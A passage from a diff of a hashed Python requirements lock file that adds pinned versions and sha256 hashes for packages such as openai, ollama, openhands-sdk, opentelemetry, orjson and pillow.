--hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + 